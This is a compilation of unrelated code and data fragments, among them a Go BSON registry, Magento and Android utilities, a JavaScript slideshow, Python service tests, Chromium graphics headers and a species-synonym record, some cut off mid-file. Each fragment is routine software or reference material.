// LookupEncoder will inspect the registry for an encoder that satisfies the
// type provided. An encoder registered for a specific type will take
// precedence over an encoder registered for an interface the type satisfies,
// which takes precedence over an encoder for the reflect.Kind of the value. If
// no encoder can be found, an error is returned.
func (r *Registry) LookupEncoder(t reflect.Type) (ValueEncoder, error) {
	encodererr := ErrNoEncoder{Type: t}
	r.mu.RLock()
	enc, found := r.lookupTypeEncoder(t)
	r.mu.RUnlock()
	if found {
		if enc == nil {
			return nil, ErrNoEncoder{Type: t}
		}
		return enc, nil
	}

	enc, found = r.lookupInterfaceEncoder(t)
	if found {
		r.mu.Lock()
		r.typeEncoders[t] = enc
		r.mu.Unlock()
		return enc, nil
	}

	if t == nil {
		r.mu.Lock()
		r.typeEncoders[t] = nil
		r.mu.Unlock()
		return nil, encodererr
	}

	enc, found = r.kindEncoders[t.Kind()]
	if !found {
		r.mu.Lock()
		r.typeEncoders[t] = nil
		r.mu.Unlock()
		return nil, encodererr
	}

	r.mu.Lock()
	r.typeEncoders[t] = enc
	r.mu.Unlock()
	return enc, nil
}

func (r *Registry) lookupTypeEncoder(t reflect.Type) (ValueEncoder, bool) {
	enc, found := r.typeEncoders[t]
	return enc, found
}

func (r *Registry) lookupInterfaceEncoder(t reflect.Type) (ValueEncoder, bool) {
	if t == nil {
		return nil, false
	}
	for _, ienc := range r.interfaceEncoders {
		if !t.Implements(ienc.i) {
			continue
		}

		return ienc.ve, true
	}
	return nil, false
}

// LookupDecoder will inspect the registry for a decoder that satisfies the
// type provided. A decoder registered for a specific type will take
// precedence over a decoder registered for an interface the type satisfies,
// which takes precedence over a decoder for the reflect.Kind of the value. If
// no decoder can be found, an error is returned.
func (r *Registry) LookupDecoder(t reflect.Type) (ValueDecoder, error) {
	if t == nil {
		return nil, ErrNilType
	}
	decodererr := ErrNoDecoder{Type: t}
	r.mu.RLock()
	dec, found := r.lookupTypeDecoder(t)
	r.mu.RUnlock()
	if found {
		if dec == nil {
			return nil, ErrNoDecoder{Type: t}
		}
		return dec, nil
	}

	dec, found = r.lookupInterfaceDecoder(t)
	if found {
		r.mu.Lock()
		r.typeDecoders[t] = dec
		r.mu.Unlock()
		return dec, nil
	}

	dec, found = r.kindDecoders[t.Kind()]
	if !found {
		r.mu.Lock()
		r.typeDecoders[t] = nil
		r.mu.Unlock()
		return nil, decodererr
	}

	r.mu.Lock()
	r.typeDecoders[t] = dec
	r.mu.Unlock()
	return dec, nil
}

func (r *Registry) lookupTypeDecoder(t reflect.Type) (ValueDecoder, bool) {
	dec, found := r.typeDecoders[t]
	return dec, found
}

func (r *Registry) lookupInterfaceDecoder(t reflect.Type) (ValueDecoder, bool) {
	for _, idec := range r.interfaceDecoders {
		if !t.Implements(idec.i) && !reflect.PtrTo(t).Implements(idec.i) {
			continue
		}

		return idec.vd, true
	}
	return nil, false
}

// LookupTypeMapEntry inspects the registry's type map for a Go type for the corresponding BSON
// type. If no type is found, ErrNoTypeMapEntry is returned.
func (r *Registry) LookupTypeMapEntry(bt bsontype.Type) (reflect.Type, error) {
	t, ok := r.typeMap[bt]
	if !ok || t == nil {
		return nil, ErrNoTypeMapEntry{Type: bt}
	}
	return t, nil
}

type interfaceValueEncoder struct {
	i  reflect.Type
	ve ValueEncoder
}

type interfaceValueDecoder struct {
	i  reflect.Type
	vd ValueDecoder
}


text:
<?php

/**
 * Tag session model
 *
 * @category   Mage
 * @package    Mage_Tag
 * @author      Magento Core Team <core@magentocommerce.com>
 */
class Mage_Tag_Model_Session extends Mage_Core_Model_Session_Abstract
{
    public function __construct()
    {
        $this->init('tag');
    }
}


text:
package cn.hicc.suguan.dormitory.utils;

import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;

import java.text.SimpleDateFormat;
import java.util.Date;

import cn.hicc.suguan.dormitory.MyApplication;

public class Utils {
    public static String GetTime() {
        SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
        Date date = new Date(System.currentTimeMillis());// 获取当前时间
        String time = formatter.format(date);
        return time;
    }

    public static int getMonth() {
        SimpleDateFormat formatter = new SimpleDateFormat("MM");
        Date date = new Date(System.currentTimeMillis());// 获取当前时间
        String month = formatter.format(date);

        return Integer.parseInt(month);
    }

    public static String GetShortDate() {
        SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy年MM月");
        String date = sDateFormat.format(new Date());
        return date;
    }

    //版本名
    public static String getVersionName() {
        return getPackageInfo(MyApplication.getContext()).versionName;
    }

    //版本号
    public static int getVersionCode() {
        return getPackageInfo(MyApplication.getContext()).versionCode;
    }

    private static PackageInfo getPackageInfo(Context context) {
        PackageInfo pi = null;
        try {
            PackageManager pm = context.getPackageManager();
            pi = pm.getPackageInfo(context.getPackageName(), PackageManager.GET_CONFIGURATIONS);
            return pi;
        } catch (Exception e) {
            e.printStackTrace();
        }

        return pi;
    }
}


text:
package org.aesh.readline.terminal.impl;

import org.aesh.terminal.Attributes;

import java.io.Closeable;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import org.aesh.terminal.tty.Size;

public interface Pty extends Closeable {

    InputStream getMasterInput() throws IOException;

    OutputStream getMasterOutput() throws IOException;

    InputStream getSlaveInput() throws IOException;

    OutputStream getSlaveOutput() throws IOException;

    Attributes getAttr() throws IOException;

    void setAttr(Attributes attr) throws IOException;

    Size getSize() throws IOException;

}


text:
const int WIDTH = 800, HEIGHT = 600;

int main()
{
    // Create a new window with a size. Position is optional (see doc)
    wfl::Global::window.reset(new wfl::Window("Pancake Window Example", WIDTH, HEIGHT));

    // Window loop while it's not closed
    while(wfl::Global::window->is_closed())
    {
        // Each loop, poll the events
        while(wfl::Global::window->poll_event() != 0)
        {
            if(wfl::Global::event->type == SDL_QUIT)
            {
                wfl::Global::window->close();
            }
            else if(wfl::Global::event->type == SDL_KEYDOWN)
            {
                if(wfl::Global::event->key.keysym.sym == SDLK_ESCAPE)
                    wfl::Global::window->close();
            }
        }

        // Clear the window with a color
        glClearColor(0.2f, 0.3f, 0.3f, 1.0f);
        glClear(GL_COLOR_BUFFER_BIT);

        wfl::Global::window->update();
    }

    return 0;
}


text:
(function () {
	var reader = new FileReader();
	var touch = {};
	var playlist = {
		create: function (files) {
			var imgType = /^image\//;
			// start at -1 because it will increment to 0 to get first image.
			this.pos = -1;
			this.array = [];
			playHistory.array = [];
			playHistory.pos = 0;
			// Transfer FileList to our own array for sorting.
			for (var i = 0; i < files.length; i++) {
				// Add a File blob to the playlist, excluding non-images.
				if (!imgType.test(files[i].type)) continue;
				this.array.push(files[i]);
			}
			files = null;
			shuffle(this.array);
		},
		next: function () {
			var img = this.array[playlist.pos];
			if (playlist.pos >= this.array.length) {
				slideshowEnd();
				return;
			}
			// Change to a new image.
			change(img, 500, getDelay());

			// Update the playlist history.
			playHistory.array.push(img);
			playHistory.pos = playHistory.array.length - 1;
		}
	};
	var playHistory = {
		back: function () {
			if (this.pos < 1) return;
			change(this.array[--this.pos], 500, 0);
		},
		forward: function () {
			if (this.pos >= this.array.length - 1) return;
			change(this.array[++this.pos], 500, getDelay());
		}
	};
	var findNextImage = function () {
		// In history if current position in history is not the same as the
		// length of the history array.
		var inHistory = !(playHistory.array.length - 1 === playHistory.pos || playHistory.array.length < 1);
		if (inHistory) {
			playHistory.forward();
		} else {
			playlist.next(playlist.pos++);
		}
	};
	var handleFiles = function (e) {
		var files = document.querySelector('#input-files').files;
		if (!files.length) return $('#restart').hide();
		playlist.create(files);
		initializeSlideshow();
	};
	var initializeSlideshow = function (e) {
		var $shim = $('#config .shim')[0] || $('<div class="shim" />');

		// Begin after an arbitrary delay.
		$('#config .panel').append($shim);
		setTimeout(function () {
			document.body.classList.add('slideshow-started');
			$('#config .shim').remove();
			$('#restart').hide();

			setTimeout(function () {
				$('#reset, #share').show();
				configPanel('refreshPos');
			}, 600); // same as opacity duration

			showElements($('#slideshow')[0], 'fast');
			findNextImage();
			configPanel('hide');
		}, 800);
	};
	// TODO: reader.onloadstart
	var change = function (img, speed, delay) {
		var $slideshow = $('#image-container');

		// Handle load event.
		reader.onload = function (e) {
			$('#image-container img')[0].src = e.target.result;
			showElements($slideshow[0], 'fast', delay);
		}

		// begin fade out.
		hideElements($slideshow[0], 'fast'); // 500 ms
		$('#time-limit').countdown('destroy');

		// Change to next image after fade.
		setTimeout(function () {
			reader.readAsDataURL(img);
			setTimeout(function() { adjustControlsPosition() }, 1000); // allow enough time to pass.
		}, speed);

		// Restart the countdown timer
		setTimeout(countdownRestart, delay + speed);
	};
	var slideshowNext = function (e) {
		findNextImage();
	};
	var slideshowBack = function (e) {
		playHistory.back();
	};
	var slideshowPause = function (e) {
		$('#time-limit').countdown('pause');
		document.body.classList.add('countdown-paused');
	};
	var slideshowResume = function () {
		$('#time-limit').countdown('resume');
		document.body.classList.remove('countdown-paused');
	};
	var slideshowPauseToggle = function () {
		if (document.body.classList.contains('countdown-paused')) {
			slideshowResume();
		} else {
			slideshowPause();
		}
	};
	var countdownAdd = function (speed) {
		$('#time-limit').countdown({
			until: +speed,
			format: 'MS',
			compact: true,
			onExpiry: function () {
				findNextImage();
			}
		});
	};
	var countdownRestart = function () {
		if (!document.body.classList.contains('slideshow-started')) return;
		$('#time-limit').countdown('destroy');
		countdownAdd(getSpeed() * 60);
		slideshowResume();
	};
	var setSpeed = function (input) {
		var val = $('#speed option:selected').val();

		if ($('#speed option:selected').is('#opt-custom-time')) {
			$('#custom-time').show().find('input').focus();
			if (!input) return;
		} else {
			$('#custom-time').hide();
		}

		if (!isNaN(val) && val >= .5) {
			// Restart the timer and pause immediately.
			countdownRestart();
			slideshowPause();
			$('#time-limit').addClass('changed');
			setTimeout(function () {
				$('#time-limit').removeClass('changed');
			}, 150);
		}
	};
	var handleCustomTimeInput = function (e) {
		$('#opt-custom-time').val(e.target.value);
		setSpeed(true);
	};
	var getSpeed = function () {
		return +$('#speed option:selected').val();
	};
	var getDelay = function () {
		return +$('input[name="delay"]:checked').val();
	};
	/**
	* Hide transition.
	* @param {object} element - The node to apply the transition to.
	* @param {string} speed - Keyword describing the transition speed.
	*/
	var hideElements = function (elements, speed) {
		if (!elements.length) elements = [elements];
		if (!speed) speed = 'none';
		for (var i = 0; i < elements.length; i++) {
			if (!elements[i]) return;
			// TODO: search for attached transition-speed instead of blindly
			// removing them all.
			elements[i].classList.remove('show', 'transition-fast', 'transition-slow', 'transition-none');
			elements[i].classList.add('hide', 'transition-' + speed);
		}
	};
	/**
	* Show transition.
	* @param {object} element - The node to apply the transition to.
	* @param {string} speed - Keyword describing the transition speed.
	*/
	var showElements = function (elements, speed, delay) {
		if (!elements.length) elements = [elements];
		if (!speed) speed = 'none';
		setTimeout(function () {
			for (var i = 0; i < elements.length; i++) {
				if (!elements[i]) return;
				elements[i].classList.remove('hide', 'transition-fast', 'transition-slow', 'transition-none');
				elements[i].classList.add('show', 'transition-' + speed);
			}
		}, delay || 0);
	};
	function shuffle (array) {
		var currentIndex = array.length, temporaryValue, randomIndex ;
		while (0 !== currentIndex) {
			randomIndex = Math.floor(Math.random() * currentIndex);
			currentIndex -= 1;
			temporaryValue = array[currentIndex];
			array[currentIndex] = array[randomIndex];
			array[randomIndex] = temporaryValue;
		}
		return array;
	}
	/**
	* Turn checkboxes into Material switches.
	* @param {object} checkbox
	* @param {callback} callback
	*/
	var toSwitch = function (checkbox, callback) {
		var label = checkbox.parentNode
		, newSwitch;
		if (label.tagName !== 'LABEL') return;

		if (checkbox.getAttribute('disabled')) {
			label.classList.add('disabled');
		}

		if (!label.classList.contains('switch')) {
			label.classList.add('switch');
		}

		if (checkbox.checked) {
			label.classList.add('checked');
			callback(checkbox);
		}

		checkbox.addEventListener('change', function (event) {
			event.target.parentNode.classList.toggle('checked');
			callback(event.target);
		}, false);

		newSwitch = document.createElement('span');
		newSwitch.classList.add('widget');
		label.insertBefore(newSwitch, checkbox);
	}
	var grayscale = function (target) {
		var className = 'desaturate';
		if (target.checked) {
			document.body.classList.add(className);
		} else {
			document.body.classList.remove(className);
		}
	};
	var shrink = function (target) {
		var className = 'shrink';
		if (target.checked) {
			document.body.classList.add(className);
		} else {
			document.body.classList.remove(className);
		}
		adjustControlsPosition();
	};
	var timerVisible = function (target) {
		var className = 'timer-visible';
		if (target.checked) {
			document.body.classList.add(className);
		} else {
			document.body.classList.remove(className);
		}
	};
	var configPanel = function (action) {
		var panel = document.querySelector('#config .panel')
		, retracted = panel.classList.contains('retract');

		var hide = function () {
			panel.classList.add('retract');
			panel.style.marginTop = -panel.offsetHeight + 'px';
			slideshowResume();
		};

		var show = function () {
			panel.classList.remove('retract');
			panel.style.marginTop = '';
			slideshowPause();
		};

		var refreshPos = function () {
			panel.style.marginTop = -panel.offsetHeight + 'px';
		};

		switch (action) {
			case 'show':
				show();
				break;
			case 'hide':
				hide();
				break;
			case 'refreshPos':
				refreshPos();
				break;
			default:
				if (retracted) {
					show();
				} else {
					hide();
				}
				break;
		}
	};
	var hideElementsTimeout;
	var cancelHideListener = function () {
		clearTimeout(hideElementsTimeout);
		hideElementsTimeout = null;
	};
	var movementListener = function (e) {
		// Don't continue if touch event is detected. Users are unlikely to
		// change from touch screen to mouse.
		if (touch.touched) return;
		cancelHideListener();
		showElements([$('#controls')[0], $('#config .handle')[0], $('body:not(.timer-visible) #time-limit')[0]], 'fast');
		hideElementsTimeout = setTimeout(mouseStopped, 1000);
	};
	var mouseStopped = function () {
		cancelHideListener();
		hideElements([$('#controls')[0], $('#config .handle')[0], $('body:not(.timer-visible) #time-limit')[0]], 'fast');
	};
	var touchListener = function (e) {
		var elements = document.querySelectorAll('#controls, #config .handle, body:not(.timer-visible) #time-limit');
		// Create touched property to intercept mousemove event.
		touch.touched = true;

		if (elements[0].classList.contains('show')) {
			hideElements(elements, 'fast');
		}
		else {
			showElements(elements, 'fast');
		}
	};
	var toggleSwipe = function (e, obj) {
		// Disable swipe when shrink to fit is disabled.
		if (e.target.checked) {
			obj.get('swipe').set({ enable: true });
		} else {
			obj.get('swipe').set({ enable: false });
		}
	};
	/**
	 * Account for scrollbars when shrink-to-fit is off.
	 */
	var adjustControlsPosition = function () {
		var container = $('#image-container');
		var controls = $('#controls');
		// results should equal 0 or ~17 (scrollbar width).
		var scroll = {
			width: container.outerWidth() - container[0].clientWidth,
			height: container.outerHeight() - container[0].clientHeight
		}
		controls.css({right: scroll.width});
		controls.css({bottom: scroll.height});
	};
	var shortcutsListener = function (e) {
		var k = e.keyCode;

		//console.log(k);

		if (k === 69) { $('#desaturate').click(); } // [e]
		if (k === 81) { $('#shrink').click(); } // [q]
		if (k === 83) { $('#pause').click(); } // [s]
		if (k === 68) { $('#next').click(); } // [d]
		if (k === 65) { $('#previous').click(); } // [a]
		if (k === 90) { $('#speed').focus(); } // [z]
		if (k === 87) { configPanel(); } // [w]
		if (k === 84) { $('#timer-visible').click(); } // [t]
	};
	// edge: any version of IE including edge.
	// ie: anything prior to edge.
	var browser = {
		edge: !!window.MSInputMethodContext,
		ie: !!window.MSInputMethodContext && !!document.documentMode
	};
	var slideshowEnd = function () {
		// The end.
		// Let the user start over.
		$('#time-limit').countdown('destroy');
		hideElements($('#slideshow')[0], 'fast');
		document.body.classList.remove('slideshow-started');
		configPanel('show');
		if (playlist.array[0]) {
			$('#restart').show();
		}
		$('#reset').hide();
	};
	var handleReset = function (e) {
		slideshowEnd();
	};
	var handleSectionLink = function (e) {
		// bandaid fix to undo auto scroll.
		setTimeout(function () { scrollTo(0,0) }, 0);
	};
	window.onload = function () {
		var touchContainer = new Hammer($('#image-container')[0]);

		touchContainer.on('swipeleft', slideshowNext);
		touchContainer.on('swiperight', slideshowBack);
		hideElements($('#slideshow')[0], 'fast');
		$('#restart').hide();
		$('#reset').hide();

		$('#image-container').mousemove(movementListener);
		$('#controls, #config').mouseenter(cancelHideListener);
		$('#image-container')[0].addEventListener('touchend', touchListener, false);

		$('#input-files').change(handleFiles);
		$('#speed').change(setSpeed);
		$('#custom-time').hide().find('input').keyup(handleCustomTimeInput);
		$('#next').click(slideshowNext);
		$('#previous').click(slideshowBack);
		$('#pause').click(slideshowPauseToggle);
		$('#restart').click(handleFiles);
		$('#reset').click(handleReset);
		$('.link-about, h1 a').click(handleSectionLink);

		$('#config .handle, #config .hide-config').click( function (e) { configPanel(); });

		// currently no IE version supports CSS filters.
		if (browser.ie) {
			$('#desaturate').attr('disabled', true);
		}

		$('#shrink').change(function (e) { toggleSwipe(e, touchContainer); });

		// Make sure toSwitch() happens near the end.
		toSwitch($('#desaturate')[0], grayscale);
		toSwitch($('#shrink')[0], shrink);
		toSwitch($('#timer-visible')[0], timerVisible);

		$(document).keyup(shortcutsListener);
	}
})();


text:
import unittest

import mock

from amberdriver.common import drivermsg_pb2
from amberdriver.common.message_handler import MessageHandler

__author__ = 'paoolo'

class MessageHandlerTestCase(unittest.TestCase):
    class TestMessageHandler(MessageHandler):
        def handle_subscribe_message(self, header, message):
            pass

        def handle_data_message(self, header, message):
            pass

        def handle_client_died_message(self, client_id):
            pass

        def handle_unsubscribe_message(self, header, message):
            pass

        @MessageHandler.handle_and_response
        def handle_message(self, received_header, received_message, response_header, response_message):
            MessageHandlerTestCase.response_header = response_header
            MessageHandlerTestCase.response_message = response_message
            assert response_message.type == drivermsg_pb2.DriverMsg.DATA
            return response_header, response_message

    def setUp(self):
        self.mocked_stdin, self.mocked_stdout = mock.Mock(), mock.Mock()
        self.message_handler = MessageHandlerTestCase.TestMessageHandler(self.mocked_stdin, self.mocked_stdout)

    def runTest(self):
        header, message = mock.Mock(), mock.Mock()
        amber_pipes = mock.Mock()

        self.message_handler._MessageHandler__amber_pipes = amber_pipes

        message.synNum = int()
        header.clientIDs = list()

        self.message_handler.handle_message(header, message)

        amber_pipes.write_header_and_message_to_pipe.assert_called_once_with(self.response_header,
                                                                             self.response_message)

        amber_pipes.is_alive = mock.Mock(return_value=False)


text:
namespace lean {

typedef boost::variant
<
    empty,
	lambda,
	bool,
    double,
    std::string,
    identifier_t,
    cons_ptr_t,
	instruction

> value_t;

bool operator == (const value_t& v, const cons_ptr_t& ptr);
bool operator != (const value_t& v, const cons_ptr_t& ptr);
bool operator == (const cons_ptr_t& ptr, const value_t& v);
bool operator != (const cons_ptr_t& ptr, const value_t& v);

std::ostream& operator << (std::ostream&, const value_t&);

const value_t& nth(const cons_ptr_t& ptr, int n);

const cons_ptr_t& as_list(const value_t&);

namespace detail {
	template<class T>
	struct is_type_t : boost::static_visitor<bool>
	{
		template<class U>
		bool operator () (const U&) const { return false; }

		bool operator () (const T&) const { return true; }
	};
}

template <class T>
bool is(const value_t& t)
{
	return boost::apply_visitor(detail::is_type_t<T>(), t);
}

inline bool is_list(const value_t& v) { return is<cons_ptr_t>(v); }
inline bool is_empty(const value_t& v) { return is<empty>(v); }
inline bool is_lambda(const value_t& v) { return is<lambda>(v); }

}

#endif


text:
cover_me
========

A Sinatra app that makes editing and formatting cover letters a breeze.


text:
namespace android_webview {
class RootFrameSink;

class OverlaysInfoProvider {
 public:
  virtual bool IsFrameSinkOverlayed(viz::FrameSinkId frame_sink_id) = 0;
};

class DisplaySchedulerWebView : public viz::DisplaySchedulerBase {
 public:
  DisplaySchedulerWebView(RootFrameSink* root_frame_sink,
                          OverlaysInfoProvider* overlays_info_provider);
  ~DisplaySchedulerWebView() override;

  // DisplaySchedulerBase implementation.
  void SetVisible(bool visible) override {}
  void ForceImmediateSwapIfPossible() override;
  void SetNeedsOneBeginFrame(bool needs_draw) override;
  void DidSwapBuffers() override;
  void DidReceiveSwapBuffersAck() override {}
  void OutputSurfaceLost() override;
  void ReportFrameTime(
      base::TimeDelta frame_time,
      base::flat_set<base::PlatformThreadId> thread_ids) override {}

  // DisplayDamageTrackerObserver implementation.
  void OnDisplayDamaged(viz::SurfaceId surface_id) override;
  void OnRootFrameMissing(bool missing) override {}
  void OnPendingSurfacesChanged() override {}

 private:
  bool IsFrameSinkOverlayed(viz::FrameSinkId frame_sink_id);

  const raw_ptr<RootFrameSink> root_frame_sink_;

  // This count how many times specific sink damaged display. It's incremented
  // in OnDisplayDamaged and decremented in DidSwapBuffers.
  std::map<viz::FrameSinkId, int> damaged_frames_;

  // Due to destruction order in viz::Display this might be not safe to use in
  // destructor of this class.
  const raw_ptr<OverlaysInfoProvider> overlays_info_provider_;

  THREAD_CHECKER(thread_checker_);
};
}  // namespace android_webview

#endif  // ANDROID_WEBVIEW_BROWSER_GFX_DISPLAY_SCHEDULER_WEBVIEW_H_


text:
namespace ui {

namespace {

class GLOzoneEGLWindows : public GLOzoneEGL {
 public:
  GLOzoneEGLWindows() = default;
  ~GLOzoneEGLWindows() override = default;

  // GLOzone:
  scoped_refptr<gl::GLSurface> CreateViewGLSurface(
      gfx::AcceleratedWidget window) override {
    return InitializeGLSurface(base::MakeRefCounted<gl::NativeViewGLSurfaceEGL>(
        window, std::make_unique<gl::VSyncProviderWin>(window)));
  }

  scoped_refptr<gl::GLSurface> CreateOffscreenGLSurface(
      const gfx::Size& size) override {
    return gl::InitializeGLSurface(
        base::MakeRefCounted<gl::PbufferGLSurfaceEGL>(size));
  }

 protected:
  // GLOzoneEGL:
  gl::EGLDisplayPlatform GetNativeDisplay() override {
    return gl::EGLDisplayPlatform(GetWindowDC(nullptr));
  }

  bool LoadGLES2Bindings(gl::GLImplementation implementation) override {
    return LoadDefaultEGLGLES2Bindings(implementation);
  }

 private:
  DISALLOW_COPY_AND_ASSIGN(GLOzoneEGLWindows);
};

}  // namespace

WindowsSurfaceFactory::WindowsSurfaceFactory()
    : egl_implementation_(std::make_unique<GLOzoneEGLWindows>()) {}

WindowsSurfaceFactory::~WindowsSurfaceFactory() = default;

std::vector<gl::GLImplementation>
WindowsSurfaceFactory::GetAllowedGLImplementations() {
  return std::vector<gl::GLImplementation>{gl::kGLImplementationEGLGLES2,
                                           gl::kGLImplementationSwiftShaderGL};
}

GLOzone* WindowsSurfaceFactory::GetGLOzone(
    gl::GLImplementation implementation) {
  switch (implementation) {
    case gl::kGLImplementationSwiftShaderGL:
    case gl::kGLImplementationEGLGLES2:
      return egl_implementation_.get();
    default:
      return nullptr;
  }
}

}  // namespace ui


text:
"""
User service tests.

This is a test for a fictitious user web service which has rich client bindings
written in Python.

It assumes we have an existing test database which we can run the web service
against, using the function "mymodule.start_web_server()."

After spinning up the service, the test creates a new user and tests various
CRUD actions. Since its a test database, it is OK
to leave old users in the system but we try to always delete them if possible
at the end of the test.

"""

from datetime import datetime
import random
import types
import unittest
import mymodule
from proboscis.asserts import assert_equal
from proboscis.asserts import assert_false
from proboscis.asserts import assert_raises
from proboscis.asserts import assert_true
from proboscis import after_class
from proboscis import before_class
from proboscis import SkipTest
from proboscis import test

db_config = {
    "url": "test.db.mycompany.com",
    "user": "service_admin",
    "password": "pass"
}

@test
def initialize_database():
    """Creates a local database."""
    mymodule.create_database()
    assert_true(mymodule.tables_exist())

@test(depends_on=[initialize_database])
def initialize_web_server():
    """Starts up the web service."""
    mymodule.start_web_server()
    admin = mymodule.get_admin_client()
    assert_true(admin.service_is_up)

class UserTests(object):

    @staticmethod
    def generate_new_user_config():
        """Constructs the dictionary needed to make a new user."""
        new_user_config = {
            "username": "TEST_%s_%s" % (datetime.now(), random.randint(0, 256)),
            "password": "password",
            "type":"normal"
        }
        return new_user_config

    @before_class
    def create_user(self):
        """Create a user."""
        random.seed()
        global test_user
        test_user = None
        new_user_config = self.generate_new_user_config()
        admin = mymodule.get_admin_client()
        self.test_user = admin.create_user(new_user_config)
        assert_equal(self.test_user.username, new_user_config["username"])
        assert_true(self.test_user.id is not None)
        assert_true(isinstance(self.test_user.id, int))

    @after_class(always_run=True)
    def delete_user(self):
        if self.test_user is None:
            raise SkipTest("User tests were never run.")
        admin = mymodule.get_admin_client()
        admin.delete_user(self.test_user.id)
        assert_raises(mymodule.UserNotFoundException, mymodule.login,
                    {'username':self.test_user.username, 'password':'password'})

    def cant_login_with_wrong_password(self):
        assert_raises(mymodule.UserNotFoundException, mymodule.login,
                      {'username':self.test_user.username, 'password':'blah'})

    @test
    def successful_login(self):
        self.client = mymodule.login({
            'username':self.test_user.username, 'password':'password'})

    @test(depends_on=[successful_login])
    def change_profile_image(self):
        """Test changing a client's profile image."""
        assert_equal("default.jpg", self.client.get_profile_image())
        self.client.set_profile_image("spam.jpg")
        assert_equal("spam.jpg", self.client.get_profile_image())

@test(groups=["user", "service.tests"])
class NormalUserTests(UserTests):

    @test(depends_on=[UserTests.successful_login])
    def a_normal_user_cant_create_users(self):
        """Make sure the given client cannot perform admin actions.."""
        assert_raises(mymodule.AuthException, self.client.create_user,
                      self.generate_new_user_config())

    @test(depends_on=[UserTests.successful_login])
    def a_normal_user_cant_delete_users(self):
        """Make sure the given client cannot perform admin actions.."""
        assert_raises(mymodule.AuthException, self.client.delete_user,
                      self.test_user.id)

@test(groups=["user", "service.tests"])
class AdminUserTests(UserTests):

    @staticmethod
    def generate_new_user_config():
        """Constructs the dictionary needed to make a new user."""
        new_user_config = {
            "username": "TEST_%s_%s" % (datetime.now(), random.randint(0, 256)),
            "password": "password",
            "type":"admin"
        }
        return new_user_config

    @test(depends_on=[UserTests.successful_login])
    def an_admin_user_can_create_users(self):
        """Make sure the given client cannot perform admin actions.."""
        self.new_user = self.client.create_user(self.generate_new_user_config())
        # Make sure it actually logs in.
        self.new_user_client = mymodule.login({
            'username':self.new_user.username, 'password':'password'})

    @test(depends_on=[an_admin_user_can_create_users])
    def an_admin_user_can_delete_users(self):
        """Make sure the given client cannot perform admin actions.."""
        self.client.delete_user(self.new_user.id)

# Add more tests in the service.tests group here, or in any other file.
# Then when we're finished...

@test(groups=["service.shutdown"], depends_on_groups=["service.tests"],
      always_run=True)
def shut_down():
    """Shut down the web service and destroys the database."""
    admin = mymodule.get_admin_client()
    if admin.service_is_up:
        mymodule.stop_web_server()
        assert_false(admin.service_is_up())
    mymodule.destroy_database()


text:
export builddir_name ?= ./build/.
.PHONY: all
all:
	$(MAKE) xor validation


text:
import re
import unittest

from blinkpy.presubmit import audit_non_blink_usage

class TestAuditNonBlinkUsageTest(unittest.TestCase):
    # This is not great but it allows us to check that something is a regexp.
    _REGEXP_CLASS = re.compile(r"foo").__class__

    def test_valid_compiled_config(self):
        # We need to test this protected data.
        # pylint: disable=W0212
        for entry in audit_non_blink_usage._COMPILED_CONFIG:
            for path in entry['paths']:
                self.assertIsInstance(path, str)
            if 'allowed' in entry:
                self.assertIsInstance(entry['allowed'], self._REGEXP_CLASS)
            if 'disallowed' in entry:
                self.assertIsInstance(entry['disallowed'], self._REGEXP_CLASS)
            for match, advice, warning in entry.get('advice', []):
                self.assertIsInstance(match, self._REGEXP_CLASS)
                self.assertIsInstance(advice, str)

    def test_for_special_cases(self):
        for entry in audit_non_blink_usage._COMPILED_CONFIG:
            if entry['paths'] == ['third_party/blink/renderer/']:
                check_list = [
                    {
                        'type': 'url::mojom::Origin',
                        'allowed': False
                    },
                    {
                        'type': '::media::mojom::InterfaceFactory',
                        'allowed': False
                    },
                    {
                        'type': 'Hogenetwork::mojom::URLLoaderFactory',
                        'allowed': False
                    },
                    {
                        'type': 'url::mojom::blink::Origin',
                        'allowed': True
                    },
                    {
                        'type': '::media::mojom::blink::InterfaceFactory',
                        'allowed': True
                    },
                    {
                        'type': 'network::mojom::URLLoaderFactory',
                        'allowed': True
                    },
                    {
                        'type': '::network::mojom::URLLoaderFactory',
                        'allowed': True
                    },
                ]
                for item in check_list:
                    if item['allowed']:
                        self.assertIsNone(
                            re.match(entry['disallowed'], item['type']))
                    elif not item['allowed']:
                        self.assertIsNotNone(
                            re.match(entry['disallowed'], item['type']))

if __name__ == '__main__':
    unittest.main()


text:
namespace ConDep.Dsl.Operations.Remote.Installation
{
    public enum FileSourceType
    {
        File,
        Url
    }
}


text:
SYNONYM

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
K. H. Rechinger, Fl. iranica 70:175. 1970

#### Original name
null

### Remarks
null


text:
/**
 * 2014-06-20
 */
package de.tzi.traffic.lights;

import java.util.Arrays;
import java.util.Map;
import java.util.Random;
import java.util.SortedMap;
import java.util.TreeMap;

import org.apache.log4j.Logger;

import de.tzi.config.GlobalConfiguration;
import de.tzi.config.SettingsKeys;
import de.tzi.traffic.Crossing;
import de.tzi.traffic.TrafficManager;
import de.tzi.traffic.properties.PropertyManager.CrossingProperty;

/**
 * @author Michal Markiewicz
 *
 */
public class RandomlyFixedLightController extends LightController {

	private static Logger logger = Logger.getLogger(RandomlyFixedLightController.class);

	final SortedMap<Integer, int[]> groupTimes = new TreeMap<Integer, int[]>();

	final static int MIN = GlobalConfiguration.getInstance().getInt(SettingsKeys.RANDOM_MIN);
	final static int MAX = GlobalConfiguration.getInstance().getInt(SettingsKeys.RANDOM_MAX);

	public RandomlyFixedLightController(TrafficManager trafficManager) {
		super(trafficManager);
		Random random = trafficManager.getLightsRandom();
		for (Crossing c : trafficManager.getCrossings()) {
			int [] times = new int[c.getGroups().length];
			groupTimes.put(c.getId(), times);
			for (int i = 0; i < times.length; i++) {
				times[i] = random.nextInt(MAX - MIN + 1) + MIN;
			}
		}
		//Show the times
		StringBuffer sb = new StringBuffer();
		for (Map.Entry<Integer, int[]>  me: groupTimes.entrySet()) {
			sb.append(me.getKey()).append(":").append(Arrays.toString(me.getValue())).append(" ");
		}
		logger.debug(sb.toString());
	}

	public void tick(int time, Crossing crossing) {
		int counter = trafficManager.getPropertyManager().getCrossingProperty(CrossingProperty.CURRENT_CYCLE_LENGTH, crossing.getId());
		int period = trafficManager.getPropertyManager().getCrossingProperty(CrossingProperty.RANDOM_CYCLE_LENGTH, crossing.getId());
		if (++counter > period) {
			counter = 0;
			period = groupTimes.get(crossing.getId())[crossing.getCurrentGroup()];
